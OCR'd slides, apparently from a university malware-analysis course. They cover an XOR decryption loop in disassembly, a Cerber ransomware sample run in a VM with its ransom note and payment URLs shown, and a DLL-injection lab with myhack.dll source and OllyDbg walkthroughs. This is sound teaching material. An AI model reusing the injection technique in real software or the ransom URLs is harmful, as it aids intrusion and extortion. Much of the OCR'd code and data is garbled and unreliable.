0046B3D4 dd 460ACADBh, OA17E5AAFh, 213EAA7Ah, 45109FDDh, 47FD26E7h
O046B3ES dd 9D9E4SADh, 1372F303h, ODE211FA5h, @©C3BE3BD5h, 1942C019h
0O46B3FC dd 7FFO1C4h, OFCDA171Dh, 8B486A2Ch, 40C6CA27h, 2BF215F@h
0046B410 dd 4EF1ESF3h, OF2113FDEh, 983A8CODh, 935154EAh, ©@BBBDS7DDh
0046B424 dd OA329B5BBh, 1F5E55AFh, 7F95B91h, 313C1D97h, O©A783E5Sh
0046B438 dd 86C99F30h, 9AA422B7h, 9E5478F0h, OF2AABAA8h, QC47A8C4Ah
0046B44C dd 6BF20EFOh, OE7ABF5A4h, 0QE4744626h, OEAC22F51h, OEO75588h
0046B460 dd 45FACD2Eh, 93F522FFh, 0QAG56875Eh, OEC8DC304h, ODA539CA5h
0046B474 dd 0B56CB535h, OC7CBDA27h, 1D22AB6Dh, OFDAB4E21h, OF2340626h
0046B488 dd 933A8COAh, 935A54EAh, OBBA690DDh, B8AGO@BE84h, 195E7965h
0046B49C dd 7FFO5C4h, OFCDA17DDh, ©A2646F2Dh, 9242F3DBh, 98F02508h
0046B4B0O dd 8DDACAlh, ©0C987B2Fh, 0A905D061h, 3DFO2E7Dh, 4521635Ah
0046B4C4 dd 0C2BF36D3h, 92420CD4h, 3F3CAA85h, 4ACEDD2Fh, OED4B4A66h

00O6A770 ©046B370: .0003:dword_46B370

As you can see, this is a bunch of garbled data, likely encrypted.
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]

@i =

©067/DF63 mov eax, ds:dword 760470

©O067/DF68 mov ecx, offset dword 46B370

O067DF6D add ecx, eax ,; Add

O06/DF6F add eax, ebx ; Add

O067DF71 mov dl, [ecx+ebx]

0067DF74 mov cl, byte ptr [esp+l0h+arg_ 8]

O067DF78 mov [eax+esi], dl

©067DF7B mov eax, ds:dword_760470

OO067DF80 add eax, ebx ,; Add

0067/DF82 add eax, esi ;  Add

O067DF84 mov dl, [eax]

O06/DF86 xor dl, cl ; Logical Exclusive OR
OO067DF88 inc ebx ; Increment by 1

O067DF89 cmp ebx, 67Ph ; Compare Two Operands
OO067DF8F mov [eax], |dl

0067DF91 jg short loc 67DFF7 ; Jump if Greater (ZF=0 & SF=0F)

[

Following this, there is a series of operations, including add (addition)
and Xor (exclusive OR). The Xor operation, in particular, is a common
decryption technique often used by malicious programs. From the
final Inc (increment) and cmp (compare) operations, we can deduce
that ebx holds the number of binary codes to be decrypted, which is OX67D in

this case.




Dynamic Analysis
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Dynamic Analysis

» Dynamic analysis is the process of executing malware in a monitored
environment to observe its behaviors.
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ddebbcf26c50c12f2d1036ada8cc8cl4

(Trojan-Ransom.Win32.Zerber.a)



In fact, for EXE programs, in most cases, it is not possible to perform rapid
analysis using only static analysis.

Often, either more analysis tools are required, or the program is directly
executed in a virtual machine.

Here, | consider running the program in a virtual machine and observing the
results as a method for rapid analysis.

After all, the goal is simply to determine whether the sample is malicious or
benign. Therefore, as long as the sample does not employ anti-virtual
machine techniques, this approach can quickly yield a verdict on whether the
sample is malicious or benign.
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1 ransomware_example D0 = £ Actions X

Fe FEdt View Hstory Bookmarks Toos Help {__\E}g\
Cerber Ransomware x +
() fie:///C:/Documents and Settings/student/Desktop/@___README___@.html ¢ || Q search wB ¥$ 4 =

CERBER RANSOMWARE

Cannot you find the files you need?

Is the content of the files that you looked for not readable?

It is normal because the files' names, ag well as the data in your files have been encrypted.

Great!

You have turned to be a part of a big community "#C3rber Ransomware".
1 ransomware_example @R 0= £ Actons X '
He Edt Vew Hstory Bookmarks Took Help - X

i Cerber Ransomware x s

e — i) fie:///C:/Documents and Settings/student/Desktop/@___READMH P ®___README__@ - Notepad
i4 start I @_ ReaDME_. ) Cerber Rar

M=l =
File '"dit Format View Hep

| IS

C_E_RBER R_A_N_S_O_MWAR_E

CERBER RANSOMWARE

Cannot you find the files you need?
Is the content of the files that you looked for not readable???

It is normal because the files' names, as well as the data in yo
have been encrypted.

Cannot you find the files you need? Great! X .
You have turned to be a part of a big community "#Cerb3r Ransomw
Is the content of the files that you looked for

It is normal because the files' names, as well

111 If you are reading this message it means the software "Cerb
1

Great! been removed from your computer. J
You have turned to be a part of a big commuls 2
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) Cerber Ransom...



S

0J

1 ransomware_example

Your documents, photos databasesand other |mportant f|Ies :
: have been encrypted! :

& to go directly to your personal page where you will receive the complete
: & instructions and guarantees to restore your files. '

: The is a list of temporaryaddresses o go on your personal a below:

. http://52u05k3t73ypiije. 7i6htz.bid/76C9-7814-04DE-0042-F149
2. hitp://52u05K3t73ypiije nBniwa. bid/76C3-7814-04DE-0042-F 143

E http://52uo3k3t7 3ypjije.uwckha.bid/76C9-781 4-04E-0042F1 49

4, htt://52u5k3t3pie.ojesoa.bid60-7814—0DE—0042—F49

B 5. hitp.//52u05Kk31t73ypjie.onion.to/76C9-7814-04DE-0042-F 143

6. http://52u05k3t73ypiije.onion/76C9-781 -o4-oo42 49 (TOR)

If you understad all importance of the situation then we propose . yo :
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Source Code of myhack.dll
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B myhack.cpp ) No Selection

#include "windows.h"
#include "tchar.h"

#pragma comment(lib, "urlmon.lib")

#define DEF_URL (L"http://www.naver.com/index.html")
#define DEF_FILE_NAME (L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID 1Param)

{
TCHAR szPath[_MAX_PATH] = {@,};
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;
TCHAR *p = _tcsrchr( szPath, '\\' );
if( 1p )
return FALSE;
_tcscpy_s(p+1l, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, @, NULL);
return 9;
}

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

HANDLE hThread = NULL;

g_hMod = (HMODULE)hinstDLL;

switch( fdwReason )

{

case DLL_PROCESS_ATTACH :
OutputDebugString(L"<myhack.dll> Injection!!! —— CSC 497/583 —— Dr. Chen");
hThread = CreateThread(NULL, @, ThreadProc, NULL, @, NULL);
CloseHandle(hThread);
break;

¥

return TRUE;




Revisit Lab0

LabO

Objective

% DebugView on WQUAKEODA-5E327D (local)
File Edt Capture Options Computer Help

EEdd L 8- @ EBT 9F #

#  Tine Debug Print
i 0.00000000 [1720] <myhack.dll> Injection!!! -- CSC 497/583 -- 3i Chen
2 1625.7460... [3652] <myhack.dll> Injection!!'! -- CSC 497/583 -- 5i Chen

Change the debug information in DebugView window from
<myhack.d1l1l> Injection!!! —— CSC 497/583 —- Si Chen

to Hello World!!! —— <Your Name>
(Replace <Your Name> with your name :)

take a screenshot and upload the image to D2L.
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Dynamic analysis myhack.dll with Ollydbg

® ® xpxp (Snapshot 3) [Running]

OllyDbg - [CPU]

@ File Wiew Debug Plugins Rl = Window Help - 8
B|x| »|uf B3] appearance Uwla|c|s|x|B[R|..[s] I=Z|E?]
1 Debugaging options a4 - | Feaizters (FFLY

Just-in-time debugging
add to Explorer

Address | Hex dump ASCII e r

OlyDbg +1.10 | |F|ead_l,l

iy Start r-r; (= r-hz - 2c 'r- Co rTi: Pr... r- e
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Go to "Events” - select “Break on new module (DLL)”

® xpxp (Snapshot 3) [Running]
f‘: HEE
S x| »n| w4 $1] W] »| L|E[M[T|W/H[c|/|K|B|R|..|5]| iE|iE)?] |

Commands ] Dizasm ] CPU ] Hegisters] Stack ] Analysiz 1 ] .&nalysis2] .&nal}lsisS]
Security ] Debug  Ewvents l Exceptions ] Trace ] SFx ] Strings] ﬁ.ddresses]

take first pause at:
" Swstern breakpoint
" Entry point of main module

0 Winkain [if location is knowe)]

>|7 Break on new module [DLL]
[ Break on module [DLL) unloading
[ Break on new thread

[ Break on thread end
[ Break on debug stiing w

[E=)
>
>

ﬂ ] | Undo | Eancel|

OlvDbg +1.10 | | Ready

iy start
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Attach to a process

Page = 5

Views Debug  Plugins Options  Window  Help

Open
Attach

Exit

1 Chworkhmyhack.dll

Z Ci\Docurnents and Settingsiquake0day\Deskioph Stack. exe

3 C\Docurnents and SettingsiquakeOday|DeskioptHelloWorld, exe

4 Zi\Docurnents and SettingsiquakeO0dayDeskioptabexcm -voiees. exe
5 Zi\Docurnents and SettingsiquakeOdayDeskiopiLittleEndian. exe

F3

Ale+3

Chrl+F2

Xpxp (Snapshot 3) [Running]

A |Begisters [FFLI

Address |Hex dump ASCII

OlyDbg +1.10

+g Start

| | Ready
WX 142PM

E b e G (2] Left 38

/




Attach to a process (Notepad.exe)
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Xpxp (Snapshot 3) [Running]

3

- =]

S x| »[n] v

Select process to attach

Process | Hame Window

Fath Y

OEREEZ2C| 1sass
AEAAEZ2E| swchost
FEERESTE| swchost
BEEEEZ04 ) swchost
BEEEE4E4 | swchost
EEgEE422) OLLYDES [OLlwDba - mwhack.dll — [Fi
BEEEES4E | swchost
BEEEEEEE| Edplorer| Start Menu
FEEEEE4E| spoo lsw
BEEEE 28| ot f mon CicerolINndFrams
AEAAATFES | cmd
FEEEEFER | chrome
BEEEEFFD) chrome CSC 497-88% Adwanced Topic
BEEEESTS | chrome
FEEEESFS) W i prwse
BEEEEZAC notepad | Untitled - Hotepad
BEEEEZEC) Obguwicw |bal loon

BEEEERS | W ireshar] Wiceshark.exe

FEEEECIC| dumpeap | C2~Program Files-Wireshark

Command Prompt

CrWIMDOWS ~sustem32~lsass.exe
CrWIMDOWS ~sustem32wsuchost..ene
Cz~WIMDONS~swstem32~suchost . exne
Cr~WIHDOWS~SustemI32~suchost.ene
Ca~WIMDOWS ~swstemId2~suchost.ene
Ci~Documents and Settings~gquakeBday~Hy
Cr~WIMDOWS ~swstemI32~suchost.ene
Cz~WIMDOWS-Exp lorer. EXE

CrWIMDOWS ~sustemI2wspoolsu. ete
CrWIMDOWS s stemIZ~ct fmon. el
CrWIMDOWS ~sustem32wcmnd. ene

C:~Program Files~Google~Chrome~Applica
Ci~Frogram Files~Google~Chrome~Applica
Ci~Program Files-Google~Chrome~Applica
Cz~WIMDOWS s st emI2wbemuwn ipruse, eHe
Cz~WIMDOWS~swstemId2~notepad. exe

ts and SettingsgquakeBday-Hy
Files~Wireshark-Wireshark.s
Files~Wireshark dumpcap. ene ™

Cancel

Registers (FPLUI

Addiress

Hex dump

ASCIT N

OllyDbg +1.10




Inject DIl

xpxp (Snapshot 3) [Running]

X - [=]x]
Command Prompt .

il -23.-2019 B92:49 PM

A3, A5 .-2@19  B1:36 PM

#1-23-281% 18:18 PM

75,264 myhack.dll
75,264 myhack_hacked.dll
149,152 strings.exe

Fro 5 File(s) 518,947 hytes v Name -
2 Dirds) 8,147.972.876 bytes free .
C:sMork>InjectDll.exe 1732 c:sworksmyhack_hacked.dll z

“Ecmdexe £ TTLH .28 F [5/6 Windows Command Frocessor Microsoff Corporation
L procexp.exe 12,872 K B.248 K 268 Sysinternals Process Explorer  Spzinternals - v, syzsinter. .
m Dbgview. exe 11686 K 1180 K 2492 Debughfiew Syzinternals

- M Wieshaik.exe 33528 K 2628 “ireshark The Wireshark developer ...

2120K
1,140 K 4nmz2

M dumpcap.exe
) notepad.exe

00 Dumpcap
1732 Motepad

The Wireshark developer ...
ticrozoft Corporation

Page = 59

* OLLYDEG.EXE TA32K 8284 K 1620 OlyDbg, 32-bit analysing deb. ..
Mame Dezcription Carmpary Hame Fath
AcGenral dl windows Compatibility DLL Microzoft Corporation Cw IMDOW S AppPatchicGenral dil

advapid2. dil Advanced Windows 32 Baze AP Microzoft Corporation CWw IMDOW S spstem32hadyapi32.dil

comct32 dll |Jzer Experience Contrals Library ticrozaft Corparation CWAM DWW S NWinS x5 \RBE6_Microsoft wWindows. Comman-. .
comdlg3z.dl Carmrnon Dialogs DLL Microzoft Corporation LW IMDDW S sy stern32%comndlig 32, dll

ctype.nlz LW IMDOW S spstem32hetype. nls

gdiz2.dll G0 Client DLL Microzoft Corporation CWwIMDOW S spstem32hadiZ2. dll

imm32.dll Windows #<P 1M 32 AP Client DLL  Microzoft Corporation CWINDOW S epsternm32%imm 32 dil

kermel32.dI Windows MT BASE APl Client DLL  Microzoft Carparation Cw IMDDW S apstern 324k ernel 32.dll

locale.nls CWwIMDOW S spstem32ilocale.nls

Ipk..dll Language Pack Microzoft Corporation CWw IMDOW S spstem324pk. dll %
mzacma2. dl ticrosoft ACH Audio Filker ticrozaft Corparation CWINDOW S ey ztem32vmzacm32. di

MSCTF. I MSCTF Server DLL Microzoft Corporation Cw IMDODW Shapstern 328 S CTF Il

MSCTFIME.IME Microzoft Text Frame Work, Servic...  Microzoft Corporation CWwINDOW S apstem32W S CTFIME . IME

mavort.dll Wwindows NT CRT DLL Microzoft Corporation CWw MDD OW S spstem32hmswvert. dil

notepad. exe Motepad ticrozaft Corporation C WM DO S sy stem 32\ hotepad, exe

e Sfaﬂ .

CPU Usage: 2.00%:

Commit Charge: 88.00%  Processes: 34 Physical Usage: 63,02%

| % 4, Li46PM

G G %@ﬁmgl#®UMm
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xpxp (Snapshot 3) [Running]

OllyDbg - notepad.exe - [Executable modules]

@File Wiew Debug Plugins Options ‘Window Help - a x
Blx| wn| wiv ¥4 Y+ L|E|M|T|WH|[C|/|K|B|R|.|S| iZ|IE]?] |
EBase Sizge Entruy Hare File wersion Fath .
B1BEEEEE | BEE 1406068 | B18E7390| notepad | 5. 1. 2680, 5877 [f Ci~WINDOWS~systen32~notepad. exe

1 BEEEREE | 8816888 | 180661412| myhack_h o wWorksmuhack_hacked.dl

SAOVE8EE | 888330068 | SADF1S26| Ui Theme | 6. 06,2980, 5512 | Ci~WINDOWS~swstem3Z~UsTheme.dl 1
SCEYEEER | oe82e008| SCEFSESL | ShimEng | 5. 1.2688.5555 (i CiwWINDOWS~swstem32~5h imEng.dll
SZPCEEEE | BEEEE0E| &2PC2EAD| LK E.1.2600, 5512 (& C:~WINDOWS system32-LPK.OLL
SF33E8EE ) 88 1CABEE| 6FSASESE | AcGenral | 5. 1.2680. 5512 (; Ci~WINDOWS~AppFatch~AcGenral .OLL
ToEEEEER | BEE2e008| FIBEAS4AS | WINSPOOL| 5. 1.2680. 5512 () Ci~WIMNDOWS~system32~WINSPOOL .. DRY
TA472EEEE | BER4CEEE| 74721200 MSCTF E.l.2600, 6161 (& Co~WINDOWS swstem32~MSCTF.dLL
74028880 | BEBEEE0E| P4DAE432 | USF1a 1.8428. 2688.542| C: ~WIHDOWS~system32~USF18.d11
FEECEEER | BEE2ERQR| FSEOAAIC| mectf ime| 5. 1.26680. 5768 () Ci~WINDOWS~system32~nsctf ime. ine
TEZTEEEE | 0EE10606E| FE291208| IMM2Z E.1.2600,. 8512 (i Co~WINDOWS system32-~IMM32.0LL
TE3EEEEE | 08849008 | FESE1619| comd Lg32| 6. 88,2960, 5512 | Ci~WINDOWS~system3Z2~cond lg32.dL 1
TESCHAEE| BERE4A8R| FESC1SE4 | USEREMY | 5.1.2680,5512 (4 C:~WINDOWS~system32~USEREMU. L L
TEB4BEEE | BEE20E06E| FEB42ZEEL | WINMM E.l.2600, 6168 (i Cr~WINDOWS system32~WINMM.dL1L
TriZaaasn) aessenon| FY121568 | OLERUTSE | 5. 1. 26680, 6341 Ci~WIHDOWS~systemI2~0LEAUTSZ. dL 1L
Fral88en| ee183608| F7304256 | COMCTLEZ | 6.8 (spsp_sp3_q) CiwWINDOWS-WinSkS 486 _Microsoft.Windows. Common—Controls_6595bedld4dccf 1df_6.68.2

(n)
TP4EBEEE | BE12EGER) FRAFDEFY) ole22 E.1.2600, 6435 (i Cr~WINDOWS system32~ole32.dl1
TrEEBREE| BEE8156880) PFEE1292| M3ACHSZ2 | 5.1.2680, 5512 (§ C:~WIHDOWS~system32~MSACHIZ. L1
7rEOBEEE | BERESAEA| FPCAL135 VERSION |5.1.2680,5512 (4§ Ci~WINDOWS~system32~UERSIOM. AL L
TPC1BEEE | BERERAEE) FFCIF2AL | novcrt T.8.2600, 5781 (3 Cr-WIHDOWS . custem3Zw~movert.dlL
TrO0B8aE | BEE3E68E | 007168 BOVAFISZ| 5. 1.2680, 6352 (§ C:~WIHDOWS~system32~AOUAPIZ2. d1 L
FrEVBEEE| BER9308R| FPEFE25F | RFCRT4 | 5.1.2680,6477 (i Ci~WINDOWS~system32~RPCRT4.d11
TPF1BEEE | BER49888) FPF1EE27 GOI22 E.1.2600, 6468 ( Cr~WINDOWS sywstem32-~G0I32.d11
TrPSE8EE | BEEFSERE| PPFES2ZE| SHLWARIL | 6,88, 2908, 5912 | G ~WIHDOWS~system32~SHLWAFI. L L
7rFEBEEA| BER1 1088 FFFES146| Secur32 | 5. 1.2680,5534 (4§ Ci~WINDOWS~system32~Secur3Z.dlL
TCE0EEEE | BEAFSEEE) FCEEBSIE | kerne 22| 5. 1. 2680, 6522 (4 o ~WINDOWS sy stemI2~kerne 132 d1 1L
TCP0EEEE | BEEE2088 ) PCI12AFC ntdll S.1.26600, 6855 (i Ci~WIHDOWS system32~ntdll.dll
FCICHAEA| BES1308R) FC9EFS16| SHELLSZ | 6.88.2908, 6242 | Ci~WINDOWS~system32~SHELLZZ. dL L
TE410806 | 0621680 FE41B217 USER22 | E.1.2680,E512 (4§ Ca-~WINDOWS-system32~USER2Z.d11

I

Ereak on new modulefs] | | Paused

fc. [Pu. @ (WY1

W o S (2 Left 8




OllyDbg - notepad.exe - [CPU - thread 00000750, module myhack]

@ File  Wiew Debug Plugins Optiu:uns Window Help - 8 x

o PUSH EEP Registers (FFLI
16EE1 o SBEC MOU EBP,ESP - qu EEEEEEEE]
166861 . 21EC BCAZAEEE| SUB ESF’.EBC EC ARADFFER
18661 . Al @4Z6@B116 | MOU EAR,OWORD PTR DS: (108126641 ED¢ TCIBES14 ntdll
16E681 . 33CE #“OR ERH,EBF EE+ BOBEA8GS
1enaioi M . 5945 FC MOU DWORD FTR S5:[EEP-41,EAH ESP RAADFFES
1eeeini W . &5 Goofooms | PUSH oos EEF BAADFEEC
igggiSiE . EESEBF4FDFFFF %EEHESH.DMDRD PTR 55:[EERP-2BCI ESI GEGEEZFAG
1eaeiezq| (R Se PUSH EAX E0T 7L21Ba18 nrdll
1BBE1621 ES SARFEAEE | CALL muhack.lBe01Fss D@ EIF 18@81686 nvhac
1oaa16826|| ME3C4 @c RAOD ESF,BC C 8 ES BB23 3obit
1eaa1e22 || .\GDES F4FDFEFF| LEA EAX.DWORD PTR 5S5: [EBP-28C1 F 1 CEGOLE 25bit
teeeiozF|| . &2 b4pioems | POSH 194 BufSize = 1B4 (268,) A B St anEs Senit
1emeiaz4|| . PUSH EAX PathBuffer 1 D ames aohit
1omeiezs|| - AESs Frosmiie| PUSH DWORD PTR DS:[18@1327C1 Bfody le = 1BE0BEEE [ myhack] 55 Ft anst Sohit
1eaaiase|| - FRIS BACARAIA| CALL DWORD FTR DS:[<&KERMEL3Z.GetModu Lel LEetHadu LeF i LeMamell T 6 G5 @ERE HULL
toaatads|| v oa\ds B SHORT anack . 10661630 &

T MYN ACE «
10601048 || - 80SE FAFDFFFF| LEA ERK, DWORD PTR 551 [EBP-200) EFE B;;Z;g:; fﬁgnﬁ

- I e r
1meaiednl] - ' S@T reak int 5TE empty +UNORM @
1eaaiadE|| - E5 emBcHEna | AL wWuhack. 1AGE1CES 5T1 empty +UHORH 2
1emeinss|| . 5304 es ADD_ESF, & ETZ erpty +UHORM @
1emeinss|| . S5Ca TEST EAX, EAX ETS cmpty ~UMORM F
1emainss|| v 2E JE SHORT muhack. 180681688 iTa enpty @,011432
1eeeicen|| . &2 Coem@ile | PUSH myhack.1BE1BACS Args = 1B@1EACE STE =mpty —UMORM F
1omeiecr|| L gsce a2 AODD EAX, 2 [ STE empty +UMORM 2
iooaioes|| - 63 64010008 | PUSH 104 Fro? = ABPEB1G4 | sy —unnng ;
EEP=GEADFFEC FST B@@3 Cond @ @
FCW B2FF  Prec MEA

Addrezs |[Hex dump ASCII ~ CeaBr2d| RETURN 1 4
B100E0E| 08 B0 B0 09 04 70 OO G1] 00 60 08 O8] 60 B0 D8 B8] ... S0eDe.eeses. SSEEEEEB ?gg?gg?g —
2iRE2a10| 60 B0 B3 00|00 OO 00 BB &4 00 B0 00|01 B3 GO 08| ........de..Be.. ERHEIAS| e
B{pE2026| 4E B0 &F B0 74 08 65 BB 79 0O 61 00| &4 8O B0 B| M. owt.c.p.ede.. SRAOFFLS| ARRAREEEA
@iee2e38| FF FF FF FF|A® 70 OO B9 24 7B BA 09| AC 7B BA 09 E2..40, . 0., BAADFFCE| PFEEDEBE
B1AE96468( 27 FC BA 98| 7E 7D BA BE|SC FD BA BB|4C 7C BA B8 i 7 F kIl o = R
o & : BEACDFFDY| BEACFFCE
olpmanen 0 BORDFFOS| 51275058
dlpmeae ] e BORDFFOC| FEFFEFFF|End of &
dlpmenee ﬂa..fa..Na..Ha:: BEADFFER| PCE3E4E| SE hand]
G1EE9ENE| €4 S OO 09| 0R 22 OO G| 70 92 B0 09|20 29 0A 60| d2..-0E..pE..BS. SSEEEEEQ Sggggggg kerne 12z
H1RE3EEA HELLEELLGE oo
olpeeneEn : GERDFFEC| BOBAGEGE
BLARSA0A| 5C 5H DR Ob|S4 SA GA OB 66 O AN BO| TA SA DA OD|<c. . To..fo..z6. . e R [
2{RE20ER| 26 SR PR B0 A2 50 OO G934 o0 8O 01|35 90 0O O1|£5..d8..4E. A0S, 8 BARDFFES| Banasasa| o
B{BE20FE| 3C o0 oE G148 98 00 B14C 00 B0 01|42 90 00 01| <c.00E.6LE. GHE. B O e s e
B1883100| 44 99 9 B1/50 99 B9 B1/S4 99 B9 U1/ S5 99 ©O 01Dl BFE.UTE.BXE. “ w
T R T Dol B O o sl T B T, O e B =, L 1. B [ DO . I = =1 . N . [ B . I = [=Tr B . Bk Bde Ao 5

Caomrmand Prompk r—i_‘.-" Pri

l.%@@i@ﬁ@@lmm
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OllyDbg, - notepad.exe
@File View Debug Plugins Options Window Help

JﬂJ _IJ ﬂﬂ

xpxp (Snapshot 3) [Running]

J M + vjE[MT|wiH|[c|/|K|B|R[..|S] Z|EH]

- thread 00000750, module myhack]

MDU EBP ESP
. SIEC aCozecaa SUB ESP, 2
. Rl B4260116 HOU ERX DUDRD PTR DS: [16612664]

« 9945 FC HDU DUDRD PTR SS: [EBP-41,EAX

. 68 88620000 | PUSH 208

« 2085 F4FDFFFF|LEA EAX,DWORD PTR SS:[EBP-2BC1
. BA 9@ FUSH @

. 58 PUSH ERAX

. E8 CABFoa08 CRLL myhack. 16061F26

. S83C4 6C D ESF,BC

» 8085 F4FDFFFF LEH EHX DWORD PTR SS: [EBP-2BC]
. E2 B4010000

. PUSH EHN
. FF35 7C220116) PUSH DWORD PTR DS:[18@132

. TEST ERX,EAX

74 43 JE _SHORT myhack. 10061682

. 8085 F4FDFFFF|LEA EAX,DWORD PTR SS:[EBP-2BC1
. BA BC

USH SC
. 58 FUSH ERX
. EB 608CAA0G0 | CALL myhack.1@861CB3
. S3C4 68 ADD_ESF,2
. 85Ca TEST EAX,EAR

JE SHORT myhack. IBBEIBBE
PUSH myhack. 10616
ADD EAX, 2

W74 2E

. 62 CEBRA11G
23Cha 62 »

PUSH 104

. 68 84010000
. PUSH ERX
. EB F7220000 |CALL myhack.10063464
. 83C4 6C ADD ESP,BC
« 2085 F4FDFFFF|LEA EAX,DWORD PTR SS: [EBP-2BC1
. BA FUSH @
o PLSH A
. 50 PUSH EAX
PUSH myhack. 10810AES
15|

RV

HDU ECX DMDRD PTR SS: [EBP-41
R .

CALL myhack.lBBBlBEl

Moy ESP, EEP

- S0
. C2 B408 RETH 4
LC INT2

. 33CD
» E8_ 40860008
« SBEE

7C1
. ggég aecanaia) CALL DWORD PTR DS:[<4KERNELSZ.GetModule

Buffer
odule = 10086086 (myhack)

[EMFB__L = 184 (26@.)
tModu LeF i leNamell

Aras = 18610ACS
[' 2 - DBDo016d4
myhack. 10003464

UNICODE "http: - www.naver.coms index.html™

oA @4
ggég EECIBEIB CALL DWORD PTR DS:[<furlmon. URLDown Load] wrelmon. URLDown loadToF i Lell
23Cc8

a168 Al 8 3 B3 BA B8 A8 AG BA

| mscir

Breakpoint at myhack. 10001000

iy Start

OllyDba - notep. .. F’ Command Prompt

r.' Process Explore... rb Untitled - Notepad

o myhack.cpp :ﬁ No Selection

#include "windows.h"
#include "tchar.h"

#pragma comment(lib, "urlmon.lib")

#define DEF_URL
#define DEF_FILE_NAME

(L"http://www.naver.com/index.html")
(L"index.html")

HMODULE g_hMod = NULL;

DWORD WINAPI ThreadProc(LPVOID 1lParam)

{
TCHAR szPath[_MAX_PATH] = {0,};
if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
return FALSE;
TCHAR *p = _tcsrchr( szPath, '\\' );
if( 'p )
return FALSE;
_tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);
URLDownloadToFile(NULL, DEF_URL, szPath, @, NULL);
return 0;
}

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

HANDLE hThread = NULL;

g_hMod = (HMODULE)hinstDLL;

switch( fdwReason )

{

case DLL_PROCESS_ATTACH :
QutputDebugString(L"<myhack.d11l> Injection!!! —— CSC 497/583 — Dr. Chen");
hThread = CreateThread(NULL, @, ThreadProc, NULL, @, NULL);
CloseHandle(hThread);
break;

}

return TRUE;

o) b & O (GO Left 2
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